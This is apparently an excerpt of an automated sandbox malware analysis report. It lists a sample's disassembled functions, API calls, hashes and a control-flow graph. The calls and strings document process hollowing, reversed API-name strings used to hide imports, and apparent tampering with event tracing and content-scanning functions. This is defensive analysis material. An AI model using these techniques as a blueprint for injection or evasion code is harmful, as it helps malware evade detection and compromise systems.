                                                                                                                                                            Function 02847CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$MemoryVirtualWrite
                                                                                                                                                            • String ID: Ntdll$yromeMlautriVetirW
                                                                                                                                                            • API String ID: 2719805696-3542721025
                                                                                                                                                            • Opcode ID: ade7fa21b3d13f7b00c38fbd0601979fa0af1ac5f5b99291662113ab5cf9858f
                                                                                                                                                            • Instruction ID: 0739465de6201af623f1bea04a773dc2a00899d97244bba2ed2f1087029dfb2e
                                                                                                                                                            • Opcode Fuzzy Hash: ade7fa21b3d13f7b00c38fbd0601979fa0af1ac5f5b99291662113ab5cf9858f
                                                                                                                                                            • Instruction Fuzzy Hash: 2101697D610208BFEB01EFA8D841EAAB7EDEB48710F514860B900D3694CA74A9148BA1
                                                                                                                                                            Function 028484BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • NtUnmapViewOfSection.NTDLL(?,?), ref: 02848521
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$SectionUnmapView
                                                                                                                                                            • String ID: noitceSfOweiVpamnUtN$ntdll
                                                                                                                                                            • API String ID: 3503870465-2520021413
                                                                                                                                                            • Opcode ID: 2c1945564a5d942ac9708e1032abb79b7afb73be1a7538860e4ec3ccd996268e
                                                                                                                                                            • Instruction ID: 04733f8badbd9f140ac07d3828498e43e04f3700886c3fa104dd331c1cf53d67
                                                                                                                                                            • Opcode Fuzzy Hash: 2c1945564a5d942ac9708e1032abb79b7afb73be1a7538860e4ec3ccd996268e
                                                                                                                                                            • Instruction Fuzzy Hash: 6D01627C65020CBFEB01EFA8DC41E5EB7AEEB49710F568860B800D7654DE74A9049A61
                                                                                                                                                            Function 0284DE24 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • RtlInitUnicodeString.NTDLL(?,?), ref: 0284DEA0
                                                                                                                                                            • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DEF2), ref: 0284DEB6
                                                                                                                                                            • NtDeleteFile.NTDLL(?), ref: 0284DED5
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Path$DeleteFileInitNameName_StringUnicode
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1459852867-0
                                                                                                                                                            • Opcode ID: 52e1fb45a29d04c11583b96508c58aface3e66d91779042a166e94a38d5f1ec3
                                                                                                                                                            • Instruction ID: 2aa9b7a60c7cab951127e28a1019dfb2d6cbf1930d5f7282465fe14900e1c4c1
                                                                                                                                                            • Opcode Fuzzy Hash: 52e1fb45a29d04c11583b96508c58aface3e66d91779042a166e94a38d5f1ec3
                                                                                                                                                            • Instruction Fuzzy Hash: 4901867EA4434C6FEB05EBE4CD81BCD77BDAB55704F5000E29200E6192DF74AB098B62
                                                                                                                                                            Function 0284DE78 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02834ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02834EDA
                                                                                                                                                            • RtlInitUnicodeString.NTDLL(?,?), ref: 0284DEA0
                                                                                                                                                            • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DEF2), ref: 0284DEB6
                                                                                                                                                            • NtDeleteFile.NTDLL(?), ref: 0284DED5
                                                                                                                                                              • Part of subcall function 02834C0C: SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1694942484-0
                                                                                                                                                            • Opcode ID: 6e9ae6dd5ac1fd05f347857e42273f45046971c336678ac9330fb7c53f47f77d
                                                                                                                                                            • Instruction ID: 81c1b28aa10492775030d6f84e1fc1efc620532d4c6a3f7a5d30f66b19bad4be
                                                                                                                                                            • Opcode Fuzzy Hash: 6e9ae6dd5ac1fd05f347857e42273f45046971c336678ac9330fb7c53f47f77d
                                                                                                                                                            • Instruction Fuzzy Hash: C101E17DA4020CBBEB11EAE4CD51FDEB3BDDB58700F5044A1A600E2581EB74AB048A65
                                                                                                                                                            Function 02846D48 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02846CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,02846D39,?,?,?,00000000), ref: 02846D19
                                                                                                                                                            • CoCreateInstance.OLE32(?,00000000,00000005,02846E2C,00000000,00000000,02846DAB,?,00000000,02846E1B), ref: 02846D97
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CreateFromInstanceProg
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2151042543-0
                                                                                                                                                            • Opcode ID: 01b523a6a43c03a0dec3a1d736cd65714ce78a1144f0e2f4cc67476dab357ce1
                                                                                                                                                            • Instruction ID: c797a9f688213294967b544ef6fed879c4f5b083022462b74d80e4f493208cf9
                                                                                                                                                            • Opcode Fuzzy Hash: 01b523a6a43c03a0dec3a1d736cd65714ce78a1144f0e2f4cc67476dab357ce1
                                                                                                                                                            • Instruction Fuzzy Hash: 4A01F77D60871C6FF715DF68DC1296B7BEDE74AB10B614835F501D2640FA359900C8A5
                                                                                                                                                            Function 02857CAC Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2771processthreadCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 5548 2857cac-2857e96 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 5603 2857e9c-285809b call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2834898 5548->5603 5604 2857e97 call 284881c 5548->5604 5663 2858f25-28590a8 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2834898 5603->5663 5664 28580a1-2858274 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2834798 call 283494c call 2834d20 call 2834d9c CreateProcessAsUserW 5603->5664 5604->5603 5753 2859854-285ae59 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c * 16 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 28346a4 * 2 call 284881c call 2847b90 call 2848184 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c ExitProcess 5663->5753 5754 28590ae-28590bd call 2834898 5663->5754 5772 2858276-28582ed call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 5664->5772 5773 28582f2-28583fd call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 5664->5773 5754->5753 5764 28590c3-2859396 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 284e974 call 283480c call 283494c call 28346a4 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2837e10 5754->5764 6022 285939c-2859649 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2834d8c * 2 call 2834734 call 284df00 5764->6022 6023 285964e-285984f call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28349a4 call 2848ba8 5764->6023 5772->5773 5874 2858404-2858724 call 28349a4 call 284e0c4 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 284cf9c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 5773->5874 5875 28583ff-2858402 5773->5875 6191 2858726-2858738 call 284857c 5874->6191 6192 285873d-2858f20 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c ResumeThread call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c CloseHandle call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2847ecc call 2848798 * 6 CloseHandle call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 5874->6192 5875->5874 6022->6023 6023->5753 6191->6192 6192->5663
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 0284881C: LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
                                                                                                                                                              • Part of subcall function 0284881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
                                                                                                                                                              • Part of subcall function 0284881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879
                                                                                                                                                              • Part of subcall function 0284881C: FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3
                                                                                                                                                            • CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,029867DC,02986820,OpenSession,0289237C,0285B40C,UacScan,0289237C), ref: 0285826D
                                                                                                                                                            • ResumeThread.KERNEL32(00000000,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,UacScan,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C), ref: 028588B7
                                                                                                                                                            • CloseHandle.KERNEL32(00000000,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,UacScan,0289237C,0285B40C,00000000,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C), ref: 02858A36
                                                                                                                                                              • Part of subcall function 02848798: LoadLibraryW.KERNEL32(bcrypt,?,000006A8,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize,028923A4,0284A774,UacScan), ref: 028487AC
                                                                                                                                                              • Part of subcall function 02848798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028487C6
                                                                                                                                                              • Part of subcall function 02848798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000006A8,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize), ref: 02848802
                                                                                                                                                            • CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,0289237C,0285B40C,UacInitialize,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,UacScan,0289237C), ref: 02858E28
                                                                                                                                                              • Part of subcall function 02837E10: GetFileAttributesA.KERNEL32(00000000,?,0284FD00,ScanString,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString,0289237C,0285B40C,UacScan,0289237C,0285B40C,UacInitialize), ref: 02837E1B
                                                                                                                                                              • Part of subcall function 0284DF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DFD2), ref: 0284DF3F
                                                                                                                                                              • Part of subcall function 0284DF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0284DF79
                                                                                                                                                              • Part of subcall function 0284DF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0284DFA6
                                                                                                                                                              • Part of subcall function 0284DF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0284DFAF
                                                                                                                                                              • Part of subcall function 02848184: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0284820E), ref: 028481F0
                                                                                                                                                            • ExitProcess.KERNEL32(00000000,OpenSession,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,Initialize,0289237C,0285B40C,00000000,00000000,00000000,ScanString,0289237C,0285B40C), ref: 0285AE59
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Library$CloseFileHandle$AddressCreateFreeLoadPathProcProcess$AttributesCacheExitFlushInstructionModuleNameName_ResumeThreadUserWrite
                                                                                                                                                            • String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
                                                                                                                                                            • API String ID: 2481178504-1225450241
                                                                                                                                                            • Opcode ID: 80d853a3546ed3a284e82a17138ad19bb4c234a105335f35ead77c5d53e9573f
                                                                                                                                                            • Instruction ID: 918c008190a66055c59f2e552652ce9226c1623399d9184d1546946fcfaea4a5
                                                                                                                                                            • Opcode Fuzzy Hash: 80d853a3546ed3a284e82a17138ad19bb4c234a105335f35ead77c5d53e9573f
                                                                                                                                                            • Instruction Fuzzy Hash: 3B430D7DA1012C8BDB21EB68DD809DE73B6EFA4304F1080E5E509DB759DB70AE858F52
                                                                                                                                                            Function 02831724 Relevance: 9.0, APIs: 7, Instructions: 289sleepCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
